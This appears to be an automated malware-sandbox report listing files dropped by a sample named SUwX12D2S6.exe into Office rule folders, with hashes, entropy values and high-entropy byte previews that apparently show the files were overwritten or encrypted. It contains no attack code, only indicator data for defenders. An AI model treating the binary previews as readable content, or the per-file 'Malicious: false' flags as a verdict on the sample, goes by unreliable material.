Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	805
Entropy (8bit):	7.713045217308093
Encrypted:	false
SSDEEP:	12:xwz/27Mex+lRBGNEcojuo3sgFEkoukoHKscSWdtdV7dG7GikANLVIdqjVcii9a:x8hexaRkgR3sgmRukgKAWdAGaNLugVbD
MD5:	A363D527C2949677A1094C4EBCBFDC2B
SHA1:	C211AFBCFAD6C241A871F9A8955C3064B0D2F318
SHA-256:	88DFAEFD0CC658E436AA0807FC89D025BC84A80A3F06DFAB946C3CFBE9554FF9
SHA-512:	27E552C23E83E8E28CE49644EBA02661F942377A1C5F50E4AF3FA3E3977C812755131B83B1146ED1A2DB0A269100DFAD63D33499E154713C681AEE2458508C0E
Malicious:	false
Preview:	<?xmln9W...d...o....N#.}..d?1..oc..$dy.m....4...~w...9.m.)...p.......g7-..n..X.U._[T.......Al4_...e.@@.tu.\..x..@b).......]0..m..U.........!7...J5.. k...Ulz..C.MP9.,........>%...{.4r..#..V..}.Bct!..q...\|O~;.....h.....X..C...3x0.p..G..IB....'.LO.cN.l.....p.y.<...Nn..8...;...}...9..I..$/.a.l7.+.8Z..z..o.4.d..&....8.'.ij\|(D..i...u`.....t0.<.N...&!.0..I..].Poh./'7.......N../..M.k..r"..B....P.....e:.v..Za.f..;w....8..+A....o.}...F@uK.....b-.[..kU..5x.6.p..".^..8S...w..}..}..Qg_0-q.......6vOY.....8....H.)h.`+N..<^.+..B..+SI.a.zhV...i..../[?`7t...~.Y.Z...8"..........I..`O.Pk...e.....5w.%.g.q........=0._~9..t"*k..{.L.B.....(....E\..7.Qgk.9....d..P.fC'.Wn.kq..N...+...~..<..w..4.H....itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120671v0.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	765
Entropy (8bit):	7.695489076795104
Encrypted:	false
SSDEEP:	12:+KrahFMVZ/Vbh8aXdldIZ2J1tWvecD5nyah+F0cp7KNwb175jVcii9a:jVrNtly8J1ovecw7ecQg7BVbD
MD5:	285C69E04DB9CAB626488AAC977D9D6B
SHA1:	E2528309D89BCC128C4E35545F1CB9310AE716DD
SHA-256:	72305992FE322FAD50FDF0361D07244C8FAA30891E86F29DCF1EB428C3FEFBB2
SHA-512:	E0C9A2029DD38F1837D9A1ECE79EEE21D11B6E1EA759302E03EDED7012DB6576B834E814C222F5C0410ABDC866EE9F58C8D7DA1A43D57766C102DFC3F06C7A02
Malicious:	false
Preview:	<?xmlW..........>.\|.V..h8.h....>..`...t.qg]A....z../..8..`..2....?.......... ..#.../.....0.......V.t.H......'.;..Y.e...=...t.....Mj.X!P........s.......s...w......g..S.E..X?...en..k.....o....Ei.B.n.g.-.......n0K......o.....=.=..$.X9i.wG.w.w'.C.^yK0.....>.A...d&B..h0.%v..zG....O...6..(.i..-.....XA.....3d.Bf..7...y........&.........^C..}.yn.L/z=i.1.......S.a.>`.....5&3\Q~.K.dG_...-....l.S.^KG.ai.....Wv./...Gf..D.'pi5U2....5.y..G.i.....v..o....A.........le....@..<.v,P......=....2&A...`c.'.H\o.!.4Xb.+z....U*t...L..Fh3.......W!..,"...I\.)...p#T<.._......v.,sF.zS.c...$.UA...,.2.a8.5...v....gz...Y5u...&...G@.....&._+"V..&.. .c.^R.w....U.."......itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120672v0.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	808
Entropy (8bit):	7.714388296368245
Encrypted:	false
SSDEEP:	24:SVUCAaShwyGHUlHOd3PrARSa6pnUhyvsRLVbD:4jAaSnG0y3PsAMLFD
MD5:	93DA355B5383F21E8BA033657C02D9B7
SHA1:	D09A3552AA4055497F3FD0D9DD76E46D9E5DA271
SHA-256:	DFE96983CFE669F276E95C70A02E50EBCFE26ECA18732BC3085225E83AABD9AA
SHA-512:	3FD6F5A946902FADE9A84EC4C538C2E7D0214D69CD9CE6E7072A3133ECE110D189A43CA4F076F4A9218F53A20F566A02E2954A388035F614BAC17C90AA865047
Malicious:	false
Preview:	<?xmlP...~.....+.a(..O.S.W...R.\.`....(C.s....X~.........@.M......D..`.....J.h.R........8..(.Y.F.[{..<....1."8..z.5....H1.6..h....T...v.z......3..%k4.V.@l.@....K.g..9/.X.........1I.?.).....P.w.0.................iU8L...Y ...9XlH.....3.s.\|7.7O.+.m...4../.Oag.^<.p..mta6j.[.rg.t..0D.4....pszQ.\...rJ..hOrg.....d...P.. ..D.nZ..g.)h.....`..LX.E.!....lN.#..._..U..(..sY~.$.A(.....;.)i$.Z..V..ePJ.HP.Y+Z......MN......:.J.ro~#......z....._T.8..d.........#....EhP..So...^V#..QLyD(..ib.zm>......<.^...4>Iv..&.~...g...G.~!...O./...C6[j5....q...f.6..$.{K)YR...P.C.c....z........PYX..7.........[.....I....>.\[.q.d}.@..9/).U..A..f..FP.].7.dA..`k......i}.y..0..&.n....GI$?......OY]r.g..z.<.qz.].9.d.SU4..>..u...$.`itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120673v0.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	760
Entropy (8bit):	7.713001385619355
Encrypted:	false
SSDEEP:	12:9JGSYFa4rIAN4zM6736Kp3lG0KA703CXmkEqCfaWLXkABeA3cxUDHaiNdhQ/MWpB:hYs4hNpKbG0KA7xFNCfVzvHJ1iMcBVbD
MD5:	05F36ED517CAB416992ADF5DA2C3B3D1
SHA1:	C1F0EB992EC32157F71984BC9169884C60C50E55
SHA-256:	8284081B39999951DD0680A41A6A9074B04A04336EE3DAEC10531C988549FBF2
SHA-512:	D853058FE08816A47A7CAE6425B9B0EA0FFF7A4FCDFF78ABF442E99E4EED08416AC2133B95EDCB16272B430AC993FB62EF8A7ADFA1926715AC3D4957FD77C583
Malicious:	false
Preview:	<?xmlC.....l.,..Y2.zK.)...'..>.......OQ..Q.p..Z..nJ..p.~...C...&T.O.E70....l8%.P.k.3e.&.D......0.]U.q...6...]......5$-@....pC.`...\K..+.;.....^..A`.)...=...v..&.+e..."....>Y........v8.R>.e.H...axCj@.u}5.._.......E...%..'...,.fl..54...9$..5kS=.V...Q'....3n..h.........q~U=.^..&%._E.\..A..}..-sg...[.g..\|...!5.9..\L.@H.......S.F...<.1.......,ix...}.O....V.....2..M....I.....V9...d!zw..b+....h,.....u....$...h.$m.L..a..9........0S..I..(..3..(...8.`.....#9..'.........BU...q.+Ney.....t..jw....L.JU.5.S..?.G1qn.<Z.........r....Db...v.)..P..FWG.....6.s.G.....PV.l5.Ih.8a.......Z..x+........;.l....7>....q.$....8":.....5.".C.D..C.k..h...Q.v.3........itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120674v0.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	807
Entropy (8bit):	7.712708256072524
Encrypted:	false
SSDEEP:	24:T4LUUPhHucfrnBOHCx/jtaQsuH6DO50LFhVbD:T4hpOcznBxRaBuaa50RhFD
MD5:	8233552AC7F71FDD6B2429FFF56D4FB8
SHA1:	C94704F92ED4C7A35866E1D14265789865FAF39A
SHA-256:	E2127A1CC6BD19BECC60010C408AE2AB5AC1F0C92848A059D90A592562106D1F
SHA-512:	B0738B081A4E791A7AA7436B5463599026F0A83D906260CC8F6929E143500661EF2EE2EE9C5F1DE5AA9015A589B226096E33D7F973957BB3831948183F096A8A
Malicious:	false
Preview:	<?xml.n.u...]..x..h........r.A...`...D.u.......c...q{./..H..<.S.C6_.&S.$..1....U...e.!....-....A..H..xA...~ZH....r.N.V.M.V.r........+..Z..Q.(.........i.6..S....z...w.+..f..{..f.P.MG..%.i....9./..^.z..X.2...m..Sc=.,..+.....4.>(...+j...vD..5z....M.9wP...P....5..+...FA"PQ\..].6....B...#.~..Q.S..E+...x.sz.2..6..~...S...X...{.{.o".$<.....J.........Q..m.....M..W..l..x.W>...(v.......VJwo..%-. 9^S........9.......d...X.....Ea.....y@V....]......0.f..E..e..#i$Bg...Ke7g.`...?(Y..n`.&.Y..Ic.\...b.#A.".Z..3.Q...!;.....3.d..........Ur...G..5.W%...v.L..L..#..R.J..P".mP:..Y.$2P..fE..U.S..R.....7.Y..X?..".j>G...+?t>.~`..F. 8.%..\|.......L...226.5..LH..jB..G..=.C...b.Py..Q......4..s.....l.x57Y..y.C.Zitkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120675v0.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	752
Entropy (8bit):	7.6646401825260275
Encrypted:	false
SSDEEP:	12:+zL0RbeAEVShWx7CNzgPVE3kEJBkebMNPeHzPzTyn+y24uUg2yBN+dOUavjVciik:0IpfWStZgc5UgMNPqzPzTi24CNZVbD
MD5:	F06E38587493EA9F5601127AC576CED5
SHA1:	F4A1214076CF47F5533F678A2EDC4F5A7A0A40C2
SHA-256:	2B3B8D31015FD3C520FABA2E9167460A6CBD8371995442EF90780C6018910C00
SHA-512:	58C7CB5E9333DC09A480E80E937F60F32022FDE43E96D2639C2D908B3972AA31BE570CC43E010A08C20961D383914D43FCF7385B4EA80E9F5261389BC16E348F
Malicious:	false
Preview:	<?xml+w..U.V....4...w.".g...UF..1.{.^,..6..%2S..=.....s..o...-4.....#2q...5W"..e.m....>\......0j".g.].X.J.q....v.P9.0+.'Bl..E\|..N.cF.Oa.z..Ql..6g.....W.N.0..r..\$.U.........S^\|....o..A........3.vp.4....Zp\.u..S0r..W.4.oe}r.)^hH....;.../jz/wqn..p..oA.O.tT....:Q_.d_...$..Ec.jR..=.......3-.C_X...vD.Fc@.Y\|.N6Km..p.o.-.y.N.].8.Rc...\VD!..x.......g"HV3..'....}.=8.jbU.<.M..\..].N..j.w..!-.oc.d...=.....?..V....k...,5..z....WS......"@..."4..)T.-..v4..K.Ft.r.+.L%.....b.>.C..h0Z%....W........N6.OQLR]../..7.....f..t.qS..!...G..$...n..P.xfV....%.k.Ii...o.a.U.Tm.....SM.c.M}......E..\...6.w.'._.?.....<4...C7B....\|S.t]..}..K......o...os1{..3....itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120676v0.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	805
Entropy (8bit):	7.71527578310836
Encrypted:	false
SSDEEP:	12:WyID1Y3OiZDTjdNcDqh+pHcBsxShsjKhuWplNGloVFs32+UwZz5mRqn5Ed6XjzTr:Wy9fDyqcdRxSijg/GGd+zUMEdCa6VbD
MD5:	AE807B72A138E90DDEA1EB3C89AA575A
SHA1:	616E0AB8F6715A6845F61A84B6C0EEAC4D3F73C0
SHA-256:	F801EC7BDC5D02D581D6694D431780FEB66F2BC1A187F12C6D6630D35B6F660A
SHA-512:	35E2A9A16713F6A5FF41CBE385F3FE3B9EED78244FFF56BB248C5B71C99011D0D81465A6C8E9244E6F91727C996681CCBE0AA594947FE29C3AC8389DBDF45B0D
Malicious:	false
Preview:	<?xml....o.-......X.....lw..E...\|/.P.kW...c.J.v.!W..5..N.R.8......b.8.@.df*.}z....%.mk.....x..7.......k...]X.]J.z....<&x9....nk...'.Z2L>...K'0.v.N.d..n..P:3.4.<.?8P....TO.w.7...Q..x.. .:..;.......#05F..c+........[....L=.MP...N..._{....:.5G.../=....7r...{Z.+VQH%yO......J..6S....L....Z%...a.G.G.-..e..%....+1T..6.^...Y.L.c.c.M\......5.VR..u.R.....Vg...4..-...=\|#..)5..y..{o'......T.A8K.{,\|....8Z.g..:.tv.H....T#..n90..d.Q.wk&..o]....w....[..s'1.E.V.3.....g..'&..E..^..=)rj..r...........k.Xg%;dZ.>ME..].2..S..]....H..P.2I........Z.L.,.N.!.S.m)flM_E.y...T.T.@.Q@O9.=.....:s.......i.....R.U..!...C...S}.`._.C...N..<.....VY.}GM.....tZ....$.Fz...r.j...%f....r....D'3..w......w07..+~}c...H.,.Nitkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120677v0.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	738
Entropy (8bit):	7.7084329859549285
Encrypted:	false
SSDEEP:	12:vIHB6A53S+H63svT6Lwb4IuEfw2DLt+spO6PEeHZk2x16+vdrrsCjVcii9a:vM0M3pa+6dcDMspVPEe5L1rxVbD
MD5:	2266ED273B5A708E410BA2384E22B204
SHA1:	78F666390252A40E607852C462C3B9F14707ECD0
SHA-256:	8CB31FADE481F04DA3579E8021AC5FECC81E7052E6FCE67DDAE7FA9978B4DD8C
SHA-512:	29844697E066AB339299D82BF609D215C1A5D34DC5AAC8DB46F8DDE03B0C3B9FCB8DE7A17FFCFA1E9437E0C5630FEA5313FBBB3B635E6ED566673E302912EED9
Malicious:	false
Preview:	<?xml....sd.....aV6....DL......&......D...cn..B.......q=k=.d]....X-.c.iu..t...m(A..x...Q.wx.....>.8,G.;..)......P.../VR.{.....f.......~..\#I...%.[.........N5n.B...Y.ZZ.}:[.l#t. C@.G.k......:...j.p@z..e.{...}.Av..1...D.z.U...g..>.tc"..!.L.[ar.nj..H.1.5+l1.O.B.....l...>Mc.9.o.!L1.......Wj),...9.".7....<4.{..F.P.....-...,..C.{........`4..>80...{.SP..K5...M}.H.>............c.^.U..I........\|..E..(.H. ,.S.Y.c&.~...x.....{.C...K......_.Z.XP}..x.M.{.i...4.P3..d...Y^$(...s.e.-...c.IF..\jSWO(..?..1....DU+.....(4UU.wc...NW....2.p.{E.....#..7l.c..8b..e.J.u...F.....:.wnm.....-.l.k....~..&..v^..y. .Gm.<d.....N....29..]^.W".5.W.itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120678v0.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	801
Entropy (8bit):	7.739255935787693
Encrypted:	false
SSDEEP:	24:sWZGewtWyqYD3BBk+3GVUpsE3DZPVUxcVbD:sWZDdyqYtS+3p6UDZP8cFD
MD5:	7AC50673C10BD8E2FDA7A483148C40AA
SHA1:	B35D453F3ED74E4D63FA2F73D4875BAC00AF4AEF
SHA-256:	25BAF46247465EFAA782DEBD36012FD7BBF806AB76912CC1FB39BB6E6FAAE7A8
SHA-512:	3E3360BDD86063A0876EC1A23A6D9D7C32A822D611E2806D1D33BC76397DD5639B128D61184E2BD83F5285CBF4774B70C90FC5A7D40D74917068A0DBB2D0F6D8
Malicious:	false
Preview:	<?xmlp.......Gx[........>..g.=..2..SG..6'v]...v..:.].\|1.....{.!0;M5...U.V.o..M1.5..$.i...#....w.(....U.=.PNz.i..s..M({%..\.LNp.......7.o.w.....B.A...pP......@..tB!<...c.x....6.MV.?...F..s.`2=)..U..e.C.oy...!5;.q.o.e.x...\|j...uA.n..v.P....2R.YW......`.........._.m....t5.<.+......o...G.[..V..Y....Zn.)..,...Re@...B..?...d.....H. e..s...C>db..)......<.}L...E.D....n'..KH...lG.iLs......RUX.8;?Splr.#.e$u.=.oX....T.c.DVk..G$>................_..n/#...%+^.\|!....v.G..R.E.ER.....Yh.paH.8`h...yCy.i`...z...)k.}.iw...K.\|.......i.\|..W...}b.._.m,W.ru...A..!.6..........bS...}AFqw...`./.X&P....>.#..\+d/,f\]$*.o....j.$.w.U.....!.:K...:..Mg..B..".(.. .K..U+.,...".@.2k.....H[....%Tk.m...U.....)0..~.:...itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120679v0.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	507
Entropy (8bit):	7.492595244237258
Encrypted:	false
SSDEEP:	12:xjvl4IfOUbtl3KrzQOBqj6eC+ZKTgqWXtQMFv6Z5WGjVcii9a:xR4IfPttKIf6eC+Y8HFv6VbD
MD5:	9173EE180DF793CFBDA7E81A28117EFC
SHA1:	3EED11E569F63398AFE4DF22EC6B3CAFF53A7945
SHA-256:	6E56CD5DF87A33187035C244F6CBAD1ADB7980562E7D1BC2C9BDF5DA7A72AC84
SHA-512:	0F151A5F4C6D596D4257B9F7CC1D62D8FB0427B4274E84A338461003939E2E2EA8FCA8B8A16D9E0B991614594C80D95BED3005ACBA25AFFDD5D207F7057B5C01
Malicious:	false
Preview:	<?xml60....p'...,6..w-u..o.wtD....Ce..-.O1.d*.....v.hb..f.t...T.Cv......m.s......<E9I.?....'..V....K.1...~\|E.?....4...!K...M...#.i...s0VUN.4Q.cx5..P3h.....L...P)b....(r....>..8.?.L..7..R98..!.<.........xL(.$......5-..M.+.9T....$_qb..t..e...p...4..3..\|......./...b.5..mp8..#_./)v.d`...\ .r.AZ.R..",.-......32i_..4.X....X..+X}.+V....}.........O.......rc....p.g.w.c..g..m6..`.<...~...o.<..."..u.RO........Q..W.t..itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120680v0.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	2285
Entropy (8bit):	7.927650998267309
Encrypted:	false
SSDEEP:	48:oA0/aOqhDcrdDY9/Bapx0vz30BWVNlmKBJ75CEmlcFD:oA0/TuAKZapx0730BWV/mKBJ7L9
MD5:	89F8A89E3F7D76E053FEBFB4E5032E35
SHA1:	FC8F829765B004A390351F2D95A71A829F93BAA7
SHA-256:	3D313C11360D88E6CCCFA4B8AE68209ECC5D17B00743065E485C32988834897D
SHA-512:	3B5AF10DC6A15064C6F38F3DC2B0463FF17FBC027C1DD0AA43A463263FD23C4E8B3D3569A9D56072E50266640365027607F26EE09FF33040E3979FDA3A7E9422
Malicious:	false
Preview:	<?xml....... 8.`.+l.......#....o.x&.S.9..H.`.T3m..."...........!DjxM....h?T...!........"..%..y.o\.G{.,]..'O.......f.Dg.aMc.[....'z>U...jx.._V_Zz.....>.......3-D.T..!:..((\|T[....IT%r\|%5y,B...p..U.E.%7Y...M.>.p......S.S}.E=..m..K..f,.......d.f..;..M3.8.;3.f;.Hi..O.jJ.X..o"At..t`.E.....K..(I....t....E,...t` ....EK.3./."i..0.F.....X....Rct...rk.2....BQs.<.>.d.#..x._...R..^...... a.0gu.....BN..Hq.;.........p.(bd.v.....!CT<...8........._..f..N.(L.6.o?......... cP.rE.P...L.of^.........w.....L....LR3...R.V.r.[.z.Y./...1..q..1:..BD,4}5.pm.e"..p..6?..-...,.. ...j...<.L.S..=`.......P....e........CU...V...$..\|..v....GP...,D.`......'.=.c...E..!Y3A.8.H.......GQ..,.....t.?...`a.KB.+0t.b5K.....-.....C.^.0C......WV'.g...6.... ......n<..P...A[..Z1.x.7?v&.x..y..c...g.?....%,.....}..6....&.7......O....^5...YuA...X+........vVz...L...j..5zNy..2'..............p....8...... 6Eo.9...c..!.. ..5.q\&k8C.:.Y..% ........$p...k@.K...)K..=.;...H!..l6e...n..3......

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120681v0.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	1291
Entropy (8bit):	7.834970510144176
Encrypted:	false
SSDEEP:	24:9DfZYwYc54UgcQ21xXZyzMgDnM7Ktvm11hNZfWeJ1/Pd6vkVbD:BuwYU7N1x0ogb4wy1rYe7dFD
MD5:	96A49596310814BE9639F5D177B8E99B
SHA1:	14E2B6BE4D26C07C394117C9C74EA9994C06410F
SHA-256:	20ABBB9BF497C8EA532F860901EF0565A2C7CFD245485A42D71D3ACA1AB18CBC
SHA-512:	4A7790E3A36603E6B416523BE95A6DAB8C1A7718DA06EC4283AF54FDBC5B465A0F4B0E040A5CF237586152FB140C309F3500094FDCF22CD938B6BC83CDD1DB3E
Malicious:	false
Preview:	<?xml8.6..-..c..@...bg.N'R...4c.U9#.....r..U{.......1.Q+Hw+.]..G..e..1Y...[6Y....a...X.K.....R...0....x.~..z..i.o.....^p]=./.7...Q.cX...!....8.y....K&.qK,..}.....mJ+KtP...X.."........T.DY\V..`C.?e8.<.j..9...[...\.$[".........'.=...X...v.&.zD.v.q....@...g.a.W...........7..Bm..jA..[.{P....K...?b.d9\.A....M..h....^[..G..g.....1Oj#.........tj~..kR...x...'c.."t.1........eG.S.%.^3.&...0..]h.i..{..n..]#o?...n.m5.......1B '. .....3$...[w...K....k...{...(..@1...4M./..f.......E.5D.e&H.E..;....{M...(L\|. #....."...Z.V..../<%...U....rI.3.#....sY.....zK8..X..<.5.......S=0.;N._...c.....;...y..}.P....a5...U... ...'y%.w......y...\...G.....yH.^b..t.4g.(F.3..?.>....:.\|..UsC.y....(%.M.K.l.M@..S.l[....g...}.k.xya...._h&....S.....~.......t..G...K..8Nz>.....}.;..G..<.9.e.0P;.z..!......-.T-....9(......o.]..h{k..{.~.*..[c%...%....OK.K....N...{....#...K.d@.%>.C.",.Wu....BQ..4..F.Y.....Q..+bQk.l....>.4/....Mc.T.q]m.TRw...'tV.@[!.....I`.E1.EKr...5..A..q.._M...g

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120682v0.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	834
Entropy (8bit):	7.747550231785021
Encrypted:	false
SSDEEP:	24:HZu0poTVR807GCVbdN/R7hWUcGg8dLRJ49aOiVTaVbD:5u0poTRGCVbdN/RNWURgCxbQFD
MD5:	8540CE22A62E6E2D3A6ADBCF5E51AFEB
SHA1:	21C541CE44B8B1E931F132D65F9524E648A06BF6
SHA-256:	686FEADD6C794E052DCE9760911CC90F7813583E67D5029D4DB9B0AB60740DF9
SHA-512:	629DB3CA9E51CB327AF001FD3B6145CE6BC6C5D7DA3526E1E0AD3C31169DB56F6DC28EFC5BB00BDC0D560E43AF38890077CB85BF3B36259C3063838FD2356AE5
Malicious:	false
Preview:	<?xml.......s.5.....8.mK...If....!....OnC.y......C....J...t.m..X...wx..hU<...#....R~....=.......$}.vJ....9.]..h9....mI..%..z......$.b.;Xv.......{...../...(b..R...C.I...sS...u.)0.F}.$.\.A \.4?....v.......6...#...<.....x.BI/\....LK...#.%R..J.......a.e8i....<...s..=.R...uk.%.ng....b.X......}i.`.....H...RO8..Q@.y...4..f......7.q..u1.. y?0.,.y...o.O..c...v.-}...~k.}09.z...u\|.x....$M.P..x....R]...f\..,;.O[.....HP....}..%..F.......Xi..J..2....].*2..'.i3...z...L8.=..h.Jf'...wD.5...q~.....h....i.....H.P....^.IVc..st!j.}..4~..9-X.nxD.s.Em.r.8Q<....u..Q....5...7..1.._...=.`.u.....3_7+n2..f...."......9..}....4.......#.m..u...M..Z.;..th.Z.."`=;..V#..x.p.9.j..-.<g....o....'.[.W..U....y..q'..R.Li...U:..j.T.m>{.L..m_".v".~itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule130009v0.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	630
Entropy (8bit):	7.649548316934495
Encrypted:	false
SSDEEP:	12:+yfBdJxLJGncShTZE7kYpxmEb3z3sn3wB5cGFMSIw2x4gK0nci57jVcii9a:VZdzShpY/VTS+CGFMSIw2x4gzciVVbD
MD5:	42ED9E6A80574873B53E3FBBEBFE88B7
SHA1:	1E10AD2C35AEEC721C1CE8DD21C4E0A7B494C4E5
SHA-256:	8A34C44EF4CF67C0A43AC7CE5E0B6B2B9F331364EA7A9DA02F4ECE27A6661EA2
SHA-512:	319E35EB448382B29FEEDD947236C4B3281E1D29721E6D0D36A4C3116891C890EF1EDF1C83D0CC8920706A0A0BEB98336269B9EC9A1F477F9F3D59A84DD0D466
Malicious:	false
Preview:	<?xml.8... ....i...`..(....u...C.D~d....%I.d....\|o.....a.8I...5C...n..A..M.".s.0...Vk.......p.@)N$<.....^........p]......)....5.4.3dj#...5..>gC...!..$..F@..%..=.<.v=.E......sQ..=...+.}..y....@.sR....\..l..T>.bZp.)1.e.e..P,.j..<[.&..U"..=.2T.1(Q..lP.....D......v.J\|.....dx....8...9.......EM..T..yq..q...e...q..u..`x..{..D...t. 9.......-M>.....0.cZ~.-+.Q+. .~"#s(..I..t.~...,.....S6g.+`J!.L.\|.U.<....`.........K...*$..2..^.t.{.....HNp2.b.4.[..TV.t.g.Mu.6.......M.~.J':.(....uQU.C;....$....{$..v%.L...M.....]....Q....C.V?.7....itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170000v6.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	851
Entropy (8bit):	7.771220212740293
Encrypted:	false
SSDEEP:	24:rw7EVL/Xz4Wb1McV6rhBUN8jBhQ7XEiBHTeKVbD:kU/Xzv1McV6rwNgaE4TFD
MD5:	3E34A4454321102CA6FAFAA18E39EAD2
SHA1:	3883D7E5E78FE9C19E1A414EF48FDB5762469B4F
SHA-256:	FDD5F5F057F9103259143A759165B8D1057481F31755D095EECEF32747290DF6
SHA-512:	A8BD8EC7A23ECBFC9ECC0FE033313C3A35F1A43E5BA539D2D6E0062F161FCE015388338C91F66B5A75FFD6C3CD546288F1980A0DB5FCD433A50011B9C96A2E95
Malicious:	false
Preview:	<?xml.N].Ye&C...B>r.'E#E...d.s..?.........W.=./........m5.{.D.k.......m>.d...j.$..q1..+.,.....G5.o.....sH./..D.....-..D....R..C7....&&^..C....N@.%.4...!....T.....y>.~+zDA:C.{.h..T=.,.A...[.....wK.:.!....1.....c......+...5.#z.e....Z8.i....M..&[..)....`"(0o.s8yi....+..g.....ff.....6.!.m...s.,Gz.?.."F..>......:/.4..zwv..\|....[`Eb.].}....T?.."X..LJ....&....z..f..W."pg...FM.....E?.....G%.Wo..F..C...$..P.k..U.z.$.u....OM.}3....UK.i..?1..\|...k})..7..m....g....t.^...R..-....C3V!i8u..C.;c..^....A....7~...SS...U..........v.....<...$.....YoZ.B....WI\|%I....MG.-.L.6.p.......[`]L+I...N.\U.&.b.......uO....j.....1g...&.mS.@.....i.x.,B$._......6N.0Z......=..<t..V<~..e...0.].D......GE.w...b]..yTio.d..cy.m..v..#..R.r.3.\..W.L..9...%...^....s'3o.itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170002v6.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	6314
Entropy (8bit):	7.969653391812957
Encrypted:	false
SSDEEP:	192:wkkzH5lVEMJBeT2r+/gz2GsIuXiKTJd3ffnrHGrCU:wksHVEso8zseKL3ffrHG2U
MD5:	3EAE05C5BE018B4E14B4112F389A8F0A
SHA1:	ADB1240B380DA4C672A908E852711E33293713E0
SHA-256:	F688981E284171E614725C8F08A453E3FD50BCE1258505E29282A6648E6F2000
SHA-512:	D7EE3C0D66489B8EE1BA024E8713E33AA50AAD7812667A93BFD99C3542A0AD1440334B828ACEDADD350C5579BDDB6B30022F3887521A59E908CF92AF387E6C96
Malicious:	false
